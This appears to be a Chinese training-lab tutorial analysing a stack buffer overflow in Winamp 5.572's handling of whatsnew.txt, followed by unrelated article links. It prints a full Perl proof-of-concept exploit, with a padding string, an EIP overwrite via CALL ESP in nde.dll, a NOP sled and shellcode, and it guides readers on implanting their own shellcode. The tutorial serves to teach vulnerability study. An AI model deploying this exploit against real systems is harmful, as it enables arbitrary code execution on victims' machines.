课程简介
Winamp是一款非常经典的音乐播放软件,它于上世纪九十年代后期问世。与现在音乐播放软件行业百家争鸣的情况不同,当时可以说Winamp就是听音乐的唯一选择了,相信那个时代的电脑玩家是深有体会的。而时至今日,依然有一批忠实的Winamp粉丝还在坚守着这块阵地,这也就说明了这款播放器依旧是有很强的生命力。
但是,这款软件的漏洞也是挺多的,五花八门,涵盖了很多方面。而我们这次所讨论的就是这款软件在读取whatsnew.txt,也就是更新历史文件时出现的缓冲区溢出漏洞。
课程介绍
学习将自己的 ShellCode植入POC文件中。
实验步骤

第一步 下载实验工具
请访问http://tools.ichunqiu.com/62105285下载实验文件。
小i提示:
- 在本次实验中,请注意实验工具、实验文件存放路径,不同的文件路径可能会出现不一样的实
验结果。
- 在实验环境中无法连接互联网,请使用您本地的网络环境。
快速查找实验工具
- 打开桌面 Everything 搜索工具,输入实验工具名称,右击选择“打开路径”,跳转实验工
具所在位置。


第二步 漏洞重现
正常的whatsnew.txt文件位于Winamp文件夹中,保存的是软件的更新历史信息。我们为了重现
漏洞,需要将特殊构造的whatsnew.txt覆盖掉原始的txt文件。然后打开Winamp,在菜单栏的
HELP中选择“About Winamp”:

在弹出的对话框中选择“Version history”:

于是就触发了漏洞。但是按照说明,利用网上找到的这个whatsnew.txt文件是可以打开计算器
程序的,但是我在实际测试的时候,有时可以打开,有时却不行。其实这很正常,网上所找到的
很多的漏洞利用的文件本身往往是存在着各种各样的问题的,因此我们在这里有必要亲自动手来
调试一下,弄清楚这个txt文件的漏洞利用原理。

第三步 漏洞利用代码分析
既然我们已经触发了漏洞,那么我们可以进一步分析一下漏洞出现的原因。查看一下它的POC代码
,是利用Perl语言编写的:
my $version = "Winamp 5.572";
my $junk = "\x41" x 540;
my $eip = "\xad\x86\x0e\x07";
# overwrite EIP - 070E86AD FFD4 CALL ESP nde.dll
my $nop = "\x90" x 100;
my $shellcode =
# windows/exec cmd=calc.exe
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x47".
"\x58\x30\x42\x31\x50\x42\x41\x6b\x42\x41\x57\x42\x32\x42\x41\x32".
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x78\x69\x6b\x4c\x6a".
"\x48\x53\x74\x67\x70\x67\x70\x75\x50\x4e\x6b\x53\x75\x65\x6c\x6e".
"\x6b\x51\x6c\x46\x65\x70\x78\x43\x31\x68\x6f\x4e\x6b\x30\x4f\x54".
"\x58\x6e\x6b\x73\x6f\x57\x50\x67\x71\x58\x6b\x77\x39\x4c\x4b\x64".
"\x74\x6c\x4b\x57\x71\x5a\x4e\x76\x51\x49\x50\x6e\x79\x6e\x4c\x4f".
"\x74\x4b\x70\x70\x74\x37\x77\x69\x51\x48\x4a\x64\x4d\x43\x31\x4f".
"\x32\x7a\x4b\x48\x74\x55\x6b\x72\x74\x34\x64\x77\x74\x70\x75\x4d".
"\x35\x6c\x4b\x71\x4f\x75\x74\x36\x61\x48\x6b\x41\x76\x4c\x4b\x44".
"\x4c\x70\x4b\x4e\x6b\x63\x6f\x55\x4c\x33\x31\x68\x6b\x4e\x6b\x35".
"\x4c\x4e\x6b\x34\x41\x6a\x4b\x6c\x49\x33\x6c\x35\x74\x64\x44\x4a".
"\x63\x34\x71\x4b\x70\x63\x54\x6e\x6b\x71\x50\x76\x50\x4f\x75\x4b".
"\x70\x72\x58\x74\x4c\x4c\x4b\x77\x30\x76\x6c\x4c\x4b\x44\x30\x57".
"\x6c\x6c\x6d\x6e\x6b\x75\x38\x54\x48\x58\x6b\x73\x39\x6e\x6b\x4b".
"\x30\x4e\x50\x37\x70\x67\x70\x37\x70\x6c\x4b\x62\x48\x45\x6c\x63".
"\x6f\x35\x61\x39\x66\x35\x30\x50\x56\x4d\x59\x48\x78\x6e\x63\x59".
"\x50\x43\x4b\x66\x30\x43\x58\x68\x70\x6f\x7a\x43\x34\x33\x6f\x73".
"\x58\x4f\x68\x6b\x4e\x6d\x5a\x46\x6e\x72\x77\x6b\x4f\x78\x67\x63".
"\x53\x62\x41\x30\x6c\x55\x33\x64\x6e\x42\x45\x70\x78\x32\x45\x33".
"\x30\x47";
open (myfile,'>> whatsnew.txt');
print myfile $version.$junk.$eip.$nop.$shellcode;
print "[+] whatsnew.txt written.\n";
print "[ ] Now copy it to your winamp folder...\n";
print "[ ] Run winamp and hit [About Winamp]->[Version History]\n";
首先看一下倒数第四条语句,它其实是漏洞利用的代码的格式,一共是五块内容,即`version
+junk+eip+nop+shellcode`。其中的version是当前软件的版本,这里是5.572版;junk是一段
填充代码,这里是540个0x41,也就是大写字母A,填充的作用就是为了接下来的返回地址的`覆盖
;eip则是我们将要覆盖的返回地址`,这里是0x070e86ad;nop位置是100个0x90;最后就是
ShellCode代码了。

第四步 漏洞的调试
为了调试这个漏洞,我们可以结合构造好的whatsnew.txt进行。首先是定位漏洞出现的位置,
然后在相应的位置下断点进行分析。我们以前的做法是在类似于strcpy这一类的函数上下断点
,然后逐个断点进行分析,或者在类似于fopen这样的函数上下断点。当然方法是五花八门的,不
管是哪种方法,基本都是可以达到目的的。那么针对于这次的程序来说,既然我们已经知道程序
会打开whatsnew.txt这个文件,那么不妨在程序中查找一下这个字符串,然后再进行分析。 首先利用OD载入winamp.exe程序,在反汇编代码区域单击鼠标右键,选择“查找”中的**
“所有参考文本字串”**:

之后选择最上面的条目,表示从最开始位置进行搜索。单击鼠标右键,选择“查找文本”,
输入我们要查找的字符串名称“whatsnew.txt”,再单击确定:

其实这里一共可以搜索出两个结果,那么接下来我们可以分别查看一下这两处语句。可能这两处
语句本身并不是fopen函数的参数语句,不过没有关系,相信距离fopen也不会太远。首先双击
第一个结果,来到其反汇编代码的位置,然后在该位置上下观察一下,就可以找到疑似文件打开
语句的位置了:

可以先在0x004015EE处下一个断点,然后按F9让程序运行起来,依据之前讲过的步骤来触发漏
洞,于是程序就停在了0x004015EE的位置。这里最开始是利用malloc语句申请大小为0x20000
的内存空间,返回值就是所分配的空间的地址,我这里是0x0286C008。之后调用wfopen来打开
whatsnew.txt文件。再调用fread函数:

通过分析这个函数的参数可以知道,fread函数会将文件内容读入刚才所分配的空间中。然后利用
strncmp函数进行比对:

可见,这里是在验证所读取的whatsnew.txt文件的最开始9个字符是否为“Winamp 5.”验证通
过才能够进行下一步的操作。这也就说明了,为什么需要在漏洞利用的代码中,添加`“version
”`的信息。然后就来到了最重要的字符串拷贝函数的位置:

这里是将从whatsnew.txt文件读取出来的内容拷贝到地址为0x00BDEBAC的位置中。我们可以按
F8步过这个函数来看一下:

可见当前的栈空间中已经写入了我们编写的whatsnew.txt文件的内容,而0x00BDEDD4中保存的
正是我们所覆盖地址,这是原始的返回地址的位置。那么直接执行到返回地址的位置查看一下:

可以看到程序使用的是call esp的方法,此时的esp所保存的地址为0x00BDEDE8,正好落在了
0x90也就是nop的区段中,在这些0x90的后面,就是ShellCode了。 这里我们的目的不是弄清楚原始ShellCode为什么有时能够执行有时却不能够执行,大家有兴趣
的话可以自行研究,我们这里不妨将之前我们一直使用的ShellCode植入,看看能不能达到预期的
效果。可以使用十六进制编辑工具对whatsnew.txt进行编辑:

那么再尝试触发漏洞:

可见我们的利用是成功的。

第五步 小结
这次我们所讨论的是建立在他人ShellCode代码基础上的漏洞分析。可见即便是前辈高人的代码
,也不见得就很管用。因此这就需要我们不断地进行尝试与研究,将他人的思想学到手,才能够
不断地提高。
- Winamp栈溢出漏洞研究
Winamp作为一款在90年代最主流的音乐播放器,到现在仍有大量的忠实粉丝.当然也存在很多漏洞.下面具体分析的就是打开软件的更新历史信息而触发的一个缓冲区溢出漏洞. 0X01漏洞重现 正常的whats ...
- 盗墓笔记—阿里旺旺ActiveX控件imageMan.dll栈溢出漏洞研究
本文作者:i春秋作家——cq5f7a075d 也许现在还研究Activex就是挖坟,但是呢,笔者是摸金校尉,挖坟,呸!盗墓是笔者的本职工作. 额,不扯了,本次研究的是阿里旺旺ActiveX控件imag ...
- Vivotek 摄像头远程栈溢出漏洞分析及利用
Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...
- MS17-010 漏洞研究——免考课题 20155104 赵文昊
免考实验与研究--MS17-010漏洞研究 研究内容 ·MS17-010漏洞的来源 ·MS17-010漏洞的攻击实例 ·MS17-010漏洞原理分析 ·MS17-010代码分析 写在前面:这次对一个漏 ...
- Android栈溢出漏洞利用练习
在Github上看到一个Linux系统上的栈溢出漏洞利用练习项目: easy-linux-pwn.在原项目基础上,我稍微做了一些改动,将这个项目移植到了Android 9.0系统上: easy-and ...
- CVE-2011-0104:Microsoft Office Excel 中的栈溢出漏洞调试分析
0x01 前言 CVE-2011-0104 是 Microsoft Office 中的 Excel(没有打补丁的情况下)表格程序在处理 TOOLBARDEF 中的 Record 字节时没有对 Len ...
- CVE-2010-3333:Microsoft RTF 栈溢出漏洞调试分析
0x01 前言 CVE-2010-3333 漏洞是一个栈溢出漏洞,该漏洞是由于 Microsoft文档在处理 RTF 数据的对数据解析处理错误,在进行内存操作时没有对操作的数据进行长度限制,导致存在内 ...
- CVE-2012-0158:Microsoft Office MSCOMCTL.ocx 栈溢出漏洞调试分析
0x01 Lotus Blossom 行动 在 2015 年 6 月,国外安全厂商 Palo Alto Networks 的威胁情报团队 Unit42 发现了一起针对东南亚政府的一次间谍行为,试图获取 ...
- DLink 815路由器栈溢出漏洞分析与复现
DLink 815路由器栈溢出漏洞分析与复现 qemu模拟环境搭建 固件下载地址 File DIR-815_FIRMWARE_1.01.ZIP - Firmware for D-link DIR-81 ...
随机推荐
- MySQL入门(3)——数据类型
MySQL入门(3)--数据类型 数字类型 整数数据类型: 数据类型 取值范围 说明 单位 TINYINT 符号值:-127~127无符号值:0~255 最小的整数 1字节 BIT 符号值:-127~ ...
- ASP.NET .Core 集成 React SPA 应用
AgileConfig的UI使用react重写快完成了.上次搞定了基于jwt的登录模式(AntDesign Pro + .NET Core 实现基于JWT的登录认证),但是还有点问题.现在使用reac ...
- 在用free()函数释放指针内存时为何要将其指针置空
在通过free()函数释放指针内存之后讲其指针置空,这样可以避免后面的程序对与该指针非法性的判断所造成的程序崩溃问题.释放空间,指针的值并没有改变,无法直接通过指针自身来进行判断空间是否已经被释放,将 ...
- Java并发编程之锁机制
锁分类 悲观锁与乐观锁 悲观锁认为对于同一个数据的并发操作,一定是会发生修改的,哪怕没有修改,也会认为修改.因此对于同一个数据的并发操作,悲观锁采取加锁的形式.悲观的认为,不加锁的并发操作一定会出问题 ...
- POJ3278_Catch That Cow(JAVA语言)
思路:bfs裸题.三个选择:向左一个单位,向右一个单位,向右到2*x //注意,需要特判n是否大于k,大于k时只能向左,输出n-k.第一次提交没注意,结果RE了,, Catch That Cow Ti ...
- Spring Native 项目,把 Spring 项目编译成原生程序!
Spring Native 是什么 优点 缺点 原生镜像(native image)和常规 JVM 程序的区别 前置条件:GraalVM 支持的语言 关键特性 GraalVM 下的 Java 微服务 ...
- 我叫小M,立志建立MySQL帝国。
我是小M,我在卡拉巴拉星球. 我喜欢数据,我立志成为一个数据管理者. 所以我来 Y 公司应聘,听说他们的数据量挺大的. 面试过程还是挺简单的. 我用 007 这三个数字就轻易打败了一堆吹嘘 996 的 ...
- java例题_14 该日期一年中的第几天问题
1 /*14 [程序 14 求日期] 2 题目:输入某年某月某日,判断这一天是这一年的第几天? 3 程序分析:以 3 月 5 日为例,应该先把前两个月的加起来,然后再加上 5 天即本年的第几天,特殊情 ...
- 力扣 - 剑指 Offer 37. 序列化二叉树
目录 题目 思路 代码 复杂度分析 题目 剑指 Offer 37. 序列化二叉树 思路 序列化其实就是层序遍历 但是,要能反序列化的话,前.中.后.层序遍历是不够的,必须在序列化时候保存所有信息,这样 ...
- [BFS]翻币问题
翻币问题 Description 有N个硬币(6<=N<=20000)全部正面朝上排成一排,每次将其中5个硬币翻过来放在原位置,直到最后全部硬币翻成反面朝上为止.试编程找出步数最少的翻法, ...